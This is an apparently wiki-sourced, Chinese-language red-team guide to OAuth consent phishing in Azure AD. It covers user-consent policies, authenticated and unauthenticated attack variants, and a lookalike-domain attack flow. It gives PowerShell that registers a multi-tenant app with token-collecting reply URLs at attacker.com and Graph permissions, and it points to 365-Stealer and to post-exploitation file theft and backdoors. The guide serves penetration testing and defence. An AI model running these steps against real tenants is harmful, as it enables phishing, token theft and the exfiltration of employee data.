OAuth App Phishing
Azure Applications 请求访问 用户数据 的权限(基本信息,也包括访问文档、发送电子邮件等)。
如果 允许,普通用户只能为 "低影响" 权限 授予同意。在 所有其他 情况下,需要管理员同意。
GA
、ApplicationAdministrator
、CloudApplication
Administrator
和包含 permission to grant permissions to applications
的自定义角色可以提供租户范围的同意。
只有 不需要管理员同意 的权限被分类为 低影响。这些是 基本登录所需的权限,如 openid、profile、email、User.Read 和 offline_access。如果一个 组织 允许 用户同意 所有应用,员工可以授予应用读取其个人资料中的上述信息的权限。
因此,攻击者可以准备一个 恶意应用,通过 钓鱼,让用户 接受应用并窃取其数据。
2 种 Illicit Consent Grant 攻击类型
Unauthenticated: 从外部账户创建一个具有 User.Read
和 User.ReadBasic.All
权限的应用,例如,钓鱼一个用户,你将能够访问目录信息。
这要求被钓鱼的用户能够接受来自外部环境的 OAuth 应用!
Authenticated: 在已经妥协了具有足够权限的主体的情况下,在账户内创建一个应用,并钓鱼一些可以接受特权 OAuth 权限的特权用户。
在这种情况下,你已经可以访问目录的信息,所以 User.ReadBasic.All
权限不再有趣。
你可能对 需要管理员授予的权限 感兴趣,因为普通用户不能给 OAuth 应用任何权限,这就是为什么你需要 只钓鱼那些用户(稍后会详细介绍哪些角色/权限授予此特权)
检查用户是否允许同意
以下 PowerShell 命令用于检查 Azure Active Directory (Azure AD) 中用户对应用程序同意的配置:
PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
禁用用户同意: 此设置禁止用户向应用程序授予权限。不允许用户同意应用程序。
用户可以同意来自已验证发布者或您组织的应用程序,但仅限于您选择的权限: 此设置允许所有用户仅同意由已验证发布者发布的应用程序和在您自己的租户中注册的应用程序。通过仅允许特定权限的同意,增加了一层控制。
用户可以同意所有应用程序: 此设置更为宽松,允许所有用户同意任何应用程序的权限,只要这些权限不需要管理员同意。
自定义应用程序同意策略: 此设置表明存在自定义策略,可以根据特定的组织需求进行调整,可能涉及基于应用程序发布者、应用程序请求的权限和其他因素的限制组合。
理解非法同意授予攻击
在非法同意授予攻击中,攻击者诱骗终端用户向注册在 Azure 上的恶意应用程序授予权限。通过使应用程序看起来合法,导致受害者无意中点击“接受”按钮。结果,Azure AD 向攻击者的网站发出令牌,允许他们访问和操纵受害者的数据,例如读取或发送电子邮件和访问文件,而无需组织账户。
攻击流程概述
攻击涉及针对一个通用公司的几个步骤。以下是可能的展开方式:
域名注册和应用程序托管: 攻击者注册一个类似于可信网站的域名,例如 "safedomainlogin.com"。在此域名下,创建一个子域(例如 "companyname.safedomainlogin.com")来托管设计用于捕获授权代码和请求访问令牌的应用程序。
在 Azure AD 中注册应用程序: 然后,攻击者在其 Azure AD 租户中注册一个多租户应用程序,并以目标公司命名以显得合法。他们将应用程序的重定向 URL 配置为指向托管恶意应用程序的子域。
设置权限: 攻击者为应用程序设置各种 API 权限(例如 Mail.Read
, Notes.Read.All
, Files.ReadWrite.All
, User.ReadBasic.All
, User.Read
)。一旦用户授予这些权限,攻击者就可以代表用户提取敏感信息。
分发恶意链接: 攻击者制作包含恶意应用程序客户端 ID 的链接,并与目标用户分享,诱骗他们授予同意。
利用工具进行攻击
攻击可以使用工具如 365-Stealer 来促进。
攻击前准备:
如果攻击者对受害组织的用户有一定程度的访问权限,他们可能会检查组织的策略是否允许用户接受应用程序:
Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.
为了执行攻击,攻击者需要在他们的 Azure Tenant 中创建一个新的 App(在 App 注册中),并配置以下权限:
User.ReadBasic.All
位于 Microsoft Graph
的 Delegated permissions
中。(应用程序权限总是需要额外批准)。
User.ReadBasic.All
是允许你在被授予权限后读取组织中所有用户信息的权限。
请记住,只有 GA
、ApplicationAdministrator
、CloudApplication
Administrator
和包含 授予应用程序权限的权限
的自定义角色可以提供租户范围的同意。因此,如果你想让某个用户批准一个需要管理员同意的 App,你应该钓鱼一个拥有这些角色的用户。
你也可以通过 cli 创建一个 App:
# Generate Application
New-AzureADApplication -DisplayName "MyApp" -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true
# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)
# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName" -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)
$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"} # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)
$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)
$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)
$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)
$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)
$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)
$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}
Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid
查看 https://www.alteredsecurity.com/post/introduction-to-365-stealer 了解如何配置它。
请注意,获得的 access token 将用于 graph endpoint,具有以下范围:User.Read
和 User.ReadBasic.All
(请求的权限)。你将无法执行其他操作(但这些权限足以 下载组织中所有用户的信息)。
你也可以使用这个工具来执行此攻击。
Post-Exploitation
一旦你获得了用户访问权限,你可以做一些事情,比如窃取敏感文件,甚至上传带有后门的文件。
References